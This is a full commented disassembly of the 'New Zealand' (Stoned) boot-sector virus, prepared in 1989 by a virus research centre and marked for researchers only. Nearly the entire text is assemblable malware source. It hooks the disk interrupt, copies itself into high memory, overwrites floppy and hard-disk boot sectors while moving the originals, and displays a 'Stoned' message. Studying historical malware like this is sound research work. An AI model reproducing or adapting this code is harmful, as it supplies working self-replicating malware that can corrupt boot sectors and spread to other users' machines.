page	65,132
	title	The 'New Zealand' Virus (Update)
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º                 British Computer Virus Research Centre                   º
; º  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    º
; º  Telephone:     Domestic   0273-26105,   International  +44-273-26105    º
; º                                                                          º
; º                     The 'New Zealand' Virus (Update)                     º
; º                Disassembled by Joe Hirst,      March 1989                º
; º                                                                          º
; º                      Copyright (c) Joe Hirst 1989.                       º
; º                                                                          º
; º      This listing is only to be made available to virus researchers      º
; º                or software writers on a need-to-know basis.              º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

	; This disassembly is derived from an inconsistently updated 
	; assembler version which arrived in this country with the original
	; executable program.

	; The virus consists of a boot sector only.  The original boot sector
	; is kept at track zero, head one, sector three on a floppy disk, or
	; track zero, head zero, sector seven on a hard disk.

	; The program requires an origin address of 7C00H, as it is designed
	; to load and run as a boot sector.

RAM	SEGMENT AT 0

	; System data

	ORG	4CH
BW004C	DW	?			; Interrupt 19 (13H) offset
BW004E	DW	?			; Interrupt 19 (13H) segment
	ORG	413H
BW0413	DW	?			; Total RAM size
	ORG	43FH
BB043F	DB	?			; Drive Motor Flag
	ORG	46CH
BB046C	DB	?			; System clock

	ORG	7C0AH
I13_OF	DW	?
I13_SG	DW	?
HICOOF	DW	?
HICOSG	DW	?			; High core segment

RAM	ENDS

CODE	SEGMENT BYTE PUBLIC 'CODE'
	ASSUME CS:CODE,DS:RAM

START:	DB	0EAH			; Far jump to next byte
	DW	BP0010, 07C0H

BP0010:	JMP	BP0110

DRIVEN	DB	0			; Drive number (A=0, B=1, C=2)

;		Original Int 13H address

INT_13	EQU	THIS DWORD
	DW	?
	DW	?

;		Branch address in high core

HIGHCO	EQU	THIS DWORD
	DW	BP0120
	DW	0

;		Boot sector processing address

BOOTST	EQU	THIS DWORD
	DW	07C00H
	DW	0

;		Interrupt 13H disk I/O routine

BP0020:	PUSH	DS
	PUSH	AX
	CMP	AH,2			; Sub-function 2
	JB	BP0030			; Pass on if below
	CMP	AH,4			; Sub-function 4
	JNB	BP0030			; Pass on if not below
	OR	DL,DL			; Is drive A
	JNZ	BP0030			; Pass on if not
	XOR	AX,AX			; \ Segment zero
	MOV	DS,AX			; /
	MOV	AL,BB043F		; Get motor timeout counter
	TEST	AL,1			; Is drive zero running
	JNZ	BP0030			; Branch if not
	CALL	BP0040			; Call infection routine
BP0030:	POP	AX
	POP	DS
	JMP	INT_13			; Pass control to Int 13H

;		Infection routine

BP0040:	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	ES
	PUSH	SI
	PUSH	DI
	MOV	SI,4			; Retry count
BP0050:	MOV	AX,201H			; Read one sector
	PUSH	CS			; \ Set ES to CS
	POP	ES			; /
	MOV	BX,200H			; Boot sector buffer
	XOR	CX,CX			; Clear register
	MOV	DX,CX			; Head zero, drive A
	INC	CX			; Track zero, sector 1
	PUSHF				; Fake an interrupt
	CALL	INT_13			; Call Int 13H
	JNB	BP0060			; Branch if no error
	XOR	AX,AX			; Reset disk sub-system
	PUSHF				; Fake an interrupt
	CALL	INT_13			; Call Int 13H
	DEC	SI			; Decrement retry count
	JNZ	BP0050			; Retry
	JMP	BP0080			; No more retries

BP0060:	XOR	SI,SI			; Start of program
	MOV	DI,200H			; Boot sector buffer
	CLD
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	LODSW				; Get first word
	CMP	AX,[DI]			; Test if same
	JNE	BP0070			; Install if not
	LODSW				; Get second word
	CMP	AX,[DI+2]		; Test if same
	JE	BP0080			; Branch if same
BP0070:	MOV	AX,301H			; Write one sector
	MOV	BX,200H			; Boot sector buffer
	MOV	CL,3			; Sector 3
	MOV	DH,1			; Head 1
	PUSHF				; Fake an interrupt
	CALL	INT_13			; Call Int 13H
	JB	BP0080			; Branch if error
	MOV	AX,301H			; Write one sector
	XOR	BX,BX			; This sector
	MOV	CL,1			; Track zero, sector 1
	XOR	DX,DX			; Head zero, drive A
	PUSHF				; Fake an interrupt
	CALL	INT_13			; Call Int 13H
BP0080:	POP	DI
	POP	SI
	POP	ES
	POP	DX
	POP	CX
	POP	BX
	RET

;		Install in high core

BP0110:	XOR	AX,AX			; \ Segment zero
	MOV	DS,AX			; /
	CLI
	MOV	SS,AX			; \ Set stack to boot sector area
	MOV	SP,7C00H		; /
	STI
	MOV	AX,BW004C		; Get Int 13H offset
	MOV	I13_OF,AX		; Store in jump offset
	MOV	AX,BW004E		; Get Int 13H segment
	MOV	I13_SG,AX		; Store in jump segment
	MOV	AX,BW0413		; Get total RAM size
	DEC	AX			; \ Subtract 2k
	DEC	AX			; /
	MOV	BW0413,AX		; Replace total RAM size
	MOV	CL,6			; Bits to move
	SHL	AX,CL			; Convert to Segment
	MOV	ES,AX			; Set ES to segment
	MOV	HICOSG,AX		; Move segment to jump address
	MOV	AX,OFFSET BP0020	; Get Int 13H routine address
	MOV	BW004C,AX		; Set new Int 13H offset
	MOV	BW004E,ES		; Set new Int 13H segment
	MOV	CX,OFFSET ENDADR	; Load length of program
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	XOR	SI,SI			; \ Set pointers to zero
	MOV	DI,SI			; /
	CLD
	REP	MOVSB			; Copy program to high core
	JMP	HIGHCO			; Branch to next instruc in high core

;		Continue processing in high core

BP0120:	MOV	AX,0			; Reset disk sub-system
	INT	13H			; Disk I/O
	XOR	AX,AX			; \ Segment zero
	MOV	ES,AX			; /
	ASSUME	DS:NOTHING,ES:RAM
	MOV	AX,201H			; Read one sector
	MOV	BX,7C00H		; Boot sector buffer address
	CMP	DRIVEN,0		; Test drive is A
	JE	BP0130			; Branch if yes
	MOV	CX,7			; Track zero, sector 7
	MOV	DX,80H			; Side zero, drive C
	INT	13H			; Disk I/O
	JMP	BP0150			; Pass control to boot sector

;		Floppy disk

BP0130:	MOV	CX,3			; Track zero, sector 3
	MOV	DX,100H			; Side one, drive A
	INT	13H			; Disk I/O
	JB	BP0150			; Branch if error
	TEST	BB046C,7		; Test low byte of time
	JNZ	BP0140			; Branch if not 7
	MOV	SI,OFFSET MESSAGE	; Load message address
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
BP0135:	LODSB				; Get next byte of message
	OR	AL,AL			; Is it zero
	JZ	BP0140			; Branch if yes
	MOV	AH,0EH			; Write TTY mode
	MOV	BH,0
	INT	10H			; VDU I/O
	JMP	BP0135			; Process next byte

BP0140:	PUSH	CS			; \ Set ES to CS
	POP	ES			; /
	MOV	AX,201H			; Read one sector
	MOV	BX,200H			; C-disk boot sector buffer
	MOV	CL,1			; Sector 1
	MOV	DX,80H			; Side zero, drive C
	INT	13H			; Disk I/O
	JB	BP0150			; Branch if error
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	MOV	SI,200H			; C-disk boot sector buffer
	MOV	DI,0			; Start of program
	LODSW				; Get first word
	CMP	AX,[DI]			; Compare to C-disk
	JNE	BP0160			; Install on C-disk if different
	LODSW				; Get second word
	CMP	AX,[DI+2]		; Compare to C-disk
	JNE	BP0160			; Install on C-disk if different
BP0150:	MOV	DRIVEN,0		; Drive A
	JMP	BOOTST			; Pass control to boot sector

;		Install on C-disk

BP0160:	MOV	DRIVEN,2		; Drive C
	MOV	AX,301H			; Write one sector
	MOV	BX,200H			; C-disk boot sector buffer
	MOV	CX,7			; Track zero, sector 7
	MOV	DX,80H			; side zero, drive C
	INT	13H			; Disk I/O
	JB	BP0150			; Branch if error
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	PUSH	CS			; \ Set ES to CS
	POP	ES			; /
	MOV	SI,OFFSET MESS02+200H	; Target offset
	MOV	DI,OFFSET MESS02	; Source offset
	MOV	CX,OFFSET 400H-MESS02	; Length to move
	REP	MOVSB			; Copy C-disk boot sector
	MOV	AX,301H			; Write one sector
	XOR	BX,BX			; Write this sector
	INC	CL			; Track zero, sector 1
	MOV	DX,80H			; Side zero, drive C
	INT	13H			; Disk I/O
	JMP	BP0150			; Pass control to boot sector

MESSAGE	DB	7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
MESS02	DB	'LEGALISE MARIJUANA!'
ENDADR	EQU	$

CODE	ENDS

	END	START

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